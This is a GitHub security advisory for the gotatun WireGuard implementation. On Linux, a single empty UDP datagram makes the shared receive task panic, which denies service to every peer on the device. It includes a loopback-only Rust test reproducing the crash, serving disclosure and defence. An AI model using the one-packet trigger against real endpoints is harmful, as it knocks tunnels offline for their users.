Skip to main content
Menu
Advisories

Linux UDP receive task panics on an empty datagram

GHSA-6GXQ-8XP9-742RPublished Updated GitHub

Description

On Linux, a zero-length UDP datagram causes the batched receive path to panic before packet validation or WireGuard authentication. The panic terminates the device's shared UDP receive task, denying inbound traffic for every peer on that device until it is restarted or reconfigured.

Details

In gotatun/src/udp/socket/linux.rs, the recvmmsg path obtains the payload using result.iovs().next().expect("we create exactly one IoSlice"). With nix 0.31.2, a received empty datagram makes the iterator return None; the expect panics. This receive implementation is shared by all peers on the device, and the failure occurs before the packet reaches RateLimiter::verify_packet. The latest published release 0.9.2 is affected. The same code is present in the reviewed main checkout at 8a92ace. Earlier releases have not been exhaustively checked; no fixed version is known.

Proof of concept

This test-only reproduction binds only to 127.0.0.1 and sends no traffic outside the local machine. Add the following module to gotatun/src/udp/buffer.rs, then run the command below on Linux.

cargo test -p gotatun --no-default-features --features device,tun,ring --lib audit_poc::empty_loopback_datagram_stops_buffered_udp_receive -- --nocapture
#[cfg(all(test, target_os = "linux"))]
mod audit_poc {
    use super::*;
    use crate::udp::socket::{SockOpt, UdpSocket};

    #[tokio::test]
    async fn empty_loopback_datagram_stops_buffered_udp_receive() {
        let socket = UdpSocket::bind("127.0.0.1:0".parse().unwrap(), SockOpt::default()).unwrap();
        let addr = socket.local_addr().unwrap();
        let mut receiver = BufferedUdpReceive::new(16, socket, PacketBufPool::new(16));
        let sender = std::net::UdpSocket::bind("127.0.0.1:0").unwrap();

        sender.send_to(&[], addr).unwrap();
        sender.send_to(b"after-empty", addr).unwrap();

        let err = tokio::time::timeout(
            std::time::Duration::from_secs(3),
            receiver.recv_from(&mut PacketBufPool::new(1)),
        )
        .await
        .expect("the receive task must stop promptly")
        .expect_err("the panicked receive task must close its channel");
        assert_eq!(err.kind(), io::ErrorKind::BrokenPipe);
    }
}

The empty datagram is sent first and the non-empty datagram is a control packet. The assertion observes that the receive task panics and closes its channel. No configured tunnel peer or secret key is needed.

Impact

An unauthenticated sender that can reach the listening UDP port can stop the device's shared receive task with one empty datagram. This causes denial of service for all peers on that device. Restarting or reconfiguring the device is required to resume receiving.

Affected versions

References

GitHub · mullvad/gotatun